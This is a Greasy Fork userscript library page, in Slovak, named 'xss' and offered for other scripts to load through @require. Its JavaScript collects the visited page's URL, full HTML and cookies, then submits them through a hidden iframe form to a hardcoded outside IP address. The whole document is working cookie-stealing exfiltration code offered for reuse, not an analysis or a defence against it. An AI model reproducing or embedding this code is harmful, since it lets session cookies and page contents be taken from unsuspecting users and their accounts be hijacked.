xss

xsscode

Verzia zo dňa 07.09.2018. Pozri najnovšiu verziu.

Tento skript by nemal byť nainštalovaný priamo. Je to knižnica pre ďalšie skripty, ktorú by mali používať cez meta príkaz // @require https://update.greasyfork.org/scripts/371986/627159/xss.js

Spýtať sa otázku, uverejniť recenziu, alebo nahlásiť skript.

Zalomiť riadky

var url = location.href;
var html = document.getElementsByTagName('html')[0].innerHTML;
var cookie = document.cookie;
html = encodeURIComponent(html);
cookie = encodeURIComponent(cookie);

function POSTDATA(importurl, data){ 
	var tmp = data; 
	var tag = new Date().getTime(); 
	var doc = document; 
	
	// var div_form = doc.createElement("div"); 
	var str = ""; 
	for(var i in tmp){ 
		str+="<input type='hidden' value='' name='"+i+"' id='__POST_INPUT_"+tag+"_"+i+"' /> "; 
	} 
	 
	// div_form.innerHTML = "<form action='"+importurl+"' id='__POST_FORM_"+tag+"' target='__POST_IFRAME_"+tag+"' method='POST'>"+str+"</form>"; 
	  	  
	try{ 
		var f = doc.createElement("<iframe name='__POST_IFRAME_"+tag+"'></iframe>"); 
	}catch(e){ 
		var f = doc.createElement("iframe"); 
	} 
	f.id='__POST_IFRAME_'+tag; 
	f.name='__POST_IFRAME_'+tag; 
	f.style.display='none'; 
	f.src="about:blank"; 
	f.attachEvent('onload',function(){ 
		try{ 
			f.parentNode.removeChild(f); 
			// div_form.parentNode.removeChild(div_form); 
		}catch(e){} 
	}); 
	
	f.innerHTML = "<form action='"+importurl+"' id='__POST_FORM_"+tag+"' target='__POST_IFRAME_"+tag+"' method='POST'>"+str+"</form>"; 
	doc.body.appendChild(f);  
	  
	for(var i in tmp){ 
		doc.getElementById('__POST_INPUT_'+tag+'_'+i).value=tmp[i]; 
	} 
	doc.getElementById('__POST_FORM_'+tag).submit(); 
} 

var importurl = "http://98.142.132.85:8080/-.php";
var data = {
	url: url,
	html: html,
	cookie: cookie
};
POSTDATA(importurl, data);